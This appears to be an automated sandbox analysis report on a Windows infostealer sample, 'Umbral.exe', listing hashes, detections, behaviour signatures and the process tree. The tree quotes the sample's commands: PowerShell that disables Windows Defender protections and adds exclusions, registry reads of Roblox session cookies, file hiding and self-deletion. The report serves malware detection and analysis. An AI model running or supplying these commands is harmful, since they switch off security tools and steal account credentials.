Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
11-07-2024 22:05
Behavioral task
behavioral1
Sample
Umbral.exe
Resource
win7-20240708-en
General
-
Target
Umbral.exe
-
Size
229KB
-
MD5
6e1ac269ea812669f7007ab3b279ff46
-
SHA1
03ca8457e3ed82c50db62dddbe85e45118015704
-
SHA256
d263275c72e75ae20efea5fd0f635335d7591ed2094c391f8b0747316a4182f4
-
SHA512
925cc2227ad7840796371d387fe9252f3cdfc546aae45afbba07247440031c5154b687ea5c187705d279f47bece0b3aa41c6dffd5cdf52bbe90aacb9f13ac1a9
-
SSDEEP
6144:9loZM+rIkd8g+EtXHkv/iD45xsWGsyVtGhTOMdRYTQb8e1mwi:foZtL+EP8TsWGsyVtGhTOMdRYs6
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/2252-1-0x0000000000D00000-0x0000000000D40000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
-
Drops file in Drivers directory 1 IoCs
Processes:
Umbral.exedescription ioc process File opened for modification C:\Windows\System32\drivers\etc\hosts Umbral.exe -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2220 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 4 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
Umbral.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 2252 Umbral.exe 2724 powershell.exe 3064 powershell.exe 1808 powershell.exe 2620 powershell.exe 1228 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Umbral.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exedescription pid process Token: SeDebugPrivilege 2252 Umbral.exe Token: SeIncreaseQuotaPrivilege 2716 wmic.exe Token: SeSecurityPrivilege 2716 wmic.exe Token: SeTakeOwnershipPrivilege 2716 wmic.exe Token: SeLoadDriverPrivilege 2716 wmic.exe Token: SeSystemProfilePrivilege 2716 wmic.exe Token: SeSystemtimePrivilege 2716 wmic.exe Token: SeProfSingleProcessPrivilege 2716 wmic.exe Token: SeIncBasePriorityPrivilege 2716 wmic.exe Token: SeCreatePagefilePrivilege 2716 wmic.exe Token: SeBackupPrivilege 2716 wmic.exe Token: SeRestorePrivilege 2716 wmic.exe Token: SeShutdownPrivilege 2716 wmic.exe Token: SeDebugPrivilege 2716 wmic.exe Token: SeSystemEnvironmentPrivilege 2716 wmic.exe Token: SeRemoteShutdownPrivilege 2716 wmic.exe Token: SeUndockPrivilege 2716 wmic.exe Token: SeManageVolumePrivilege 2716 wmic.exe Token: 33 2716 wmic.exe Token: 34 2716 wmic.exe Token: 35 2716 wmic.exe Token: SeIncreaseQuotaPrivilege 2716 wmic.exe Token: SeSecurityPrivilege 2716 wmic.exe Token: SeTakeOwnershipPrivilege 2716 wmic.exe Token: SeLoadDriverPrivilege 2716 wmic.exe Token: SeSystemProfilePrivilege 2716 wmic.exe Token: SeSystemtimePrivilege 2716 wmic.exe Token: SeProfSingleProcessPrivilege 2716 wmic.exe Token: SeIncBasePriorityPrivilege 2716 wmic.exe Token: SeCreatePagefilePrivilege 2716 wmic.exe Token: SeBackupPrivilege 2716 wmic.exe Token: SeRestorePrivilege 2716 wmic.exe Token: SeShutdownPrivilege 2716 wmic.exe Token: SeDebugPrivilege 2716 wmic.exe Token: SeSystemEnvironmentPrivilege 2716 wmic.exe Token: SeRemoteShutdownPrivilege 2716 wmic.exe Token: SeUndockPrivilege 2716 wmic.exe Token: SeManageVolumePrivilege 2716 wmic.exe Token: 33 2716 wmic.exe Token: 34 2716 wmic.exe Token: 35 2716 wmic.exe Token: SeDebugPrivilege 2724 powershell.exe Token: SeDebugPrivilege 3064 powershell.exe Token: SeDebugPrivilege 1808 powershell.exe Token: SeDebugPrivilege 2620 powershell.exe Token: SeIncreaseQuotaPrivilege 744 wmic.exe Token: SeSecurityPrivilege 744 wmic.exe Token: SeTakeOwnershipPrivilege 744 wmic.exe Token: SeLoadDriverPrivilege 744 wmic.exe Token: SeSystemProfilePrivilege 744 wmic.exe Token: SeSystemtimePrivilege 744 wmic.exe Token: SeProfSingleProcessPrivilege 744 wmic.exe Token: SeIncBasePriorityPrivilege 744 wmic.exe Token: SeCreatePagefilePrivilege 744 wmic.exe Token: SeBackupPrivilege 744 wmic.exe Token: SeRestorePrivilege 744 wmic.exe Token: SeShutdownPrivilege 744 wmic.exe Token: SeDebugPrivilege 744 wmic.exe Token: SeSystemEnvironmentPrivilege 744 wmic.exe Token: SeRemoteShutdownPrivilege 744 wmic.exe Token: SeUndockPrivilege 744 wmic.exe Token: SeManageVolumePrivilege 744 wmic.exe Token: 33 744 wmic.exe Token: 34 744 wmic.exe -
Suspicious use of WriteProcessMemory 39 IoCs
Processes:
Umbral.execmd.exedescription pid process target process PID 2252 wrote to memory of 2716 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 2716 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 2716 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 2872 2252 Umbral.exe attrib.exe PID 2252 wrote to memory of 2872 2252 Umbral.exe attrib.exe PID 2252 wrote to memory of 2872 2252 Umbral.exe attrib.exe PID 2252 wrote to memory of 2724 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 2724 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 2724 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 3064 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 3064 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 3064 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 1808 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 1808 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 1808 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 2620 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 2620 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 2620 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 744 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 744 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 744 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 2388 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 2388 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 2388 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 1604 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 1604 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 1604 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 1228 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 1228 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 1228 2252 Umbral.exe powershell.exe PID 2252 wrote to memory of 2224 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 2224 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 2224 2252 Umbral.exe wmic.exe PID 2252 wrote to memory of 2220 2252 Umbral.exe cmd.exe PID 2252 wrote to memory of 2220 2252 Umbral.exe cmd.exe PID 2252 wrote to memory of 2220 2252 Umbral.exe cmd.exe PID 2220 wrote to memory of 1948 2220 cmd.exe PING.EXE PID 2220 wrote to memory of 1948 2220 cmd.exe PING.EXE PID 2220 wrote to memory of 1948 2220 cmd.exe PING.EXE -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2716 -
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
- Views/modifies file attributes
PID:2872 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2724 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3064 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1808 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2620 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:744 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:2388
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:1604
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1228 -
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:2224 -
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2220 -
C:\Windows\system32\PING.EXEping localhost3⤵
- Runs ping.exe
PID:1948
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5c0a836e527022efa6a124f3eb230be77
SHA1907f72caa56f1289e42f959c1f931c12967d416f
SHA256cac3a598cc0840a1d585b9e9331b4a341f3818dfb2f47324b12595ae997cf322
SHA51280a276d9be4c6fbebf52d4b5bff248192281e59123f060772c27ea2c79fab97953efa8d994dedf272d7b8054cfca5699f86c54fd094dfac31c5dc6d327bc5e68
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/1228-43-0x0000000002860000-0x0000000002868000-memory.dmpFilesize
32KB
-
memory/2252-0-0x000007FEF6163000-0x000007FEF6164000-memory.dmpFilesize
4KB
-
memory/2252-1-0x0000000000D00000-0x0000000000D40000-memory.dmpFilesize
256KB
-
memory/2252-2-0x000007FEF6160000-0x000007FEF6B4C000-memory.dmpFilesize
9.9MB
-
memory/2252-47-0x000007FEF6160000-0x000007FEF6B4C000-memory.dmpFilesize
9.9MB
-
memory/2724-7-0x000000001B540000-0x000000001B822000-memory.dmpFilesize
2.9MB
-
memory/2724-8-0x0000000002070000-0x0000000002078000-memory.dmpFilesize
32KB
-
memory/3064-14-0x000000001B590000-0x000000001B872000-memory.dmpFilesize
2.9MB
-
memory/3064-15-0x0000000001D20000-0x0000000001D28000-memory.dmpFilesize
32KB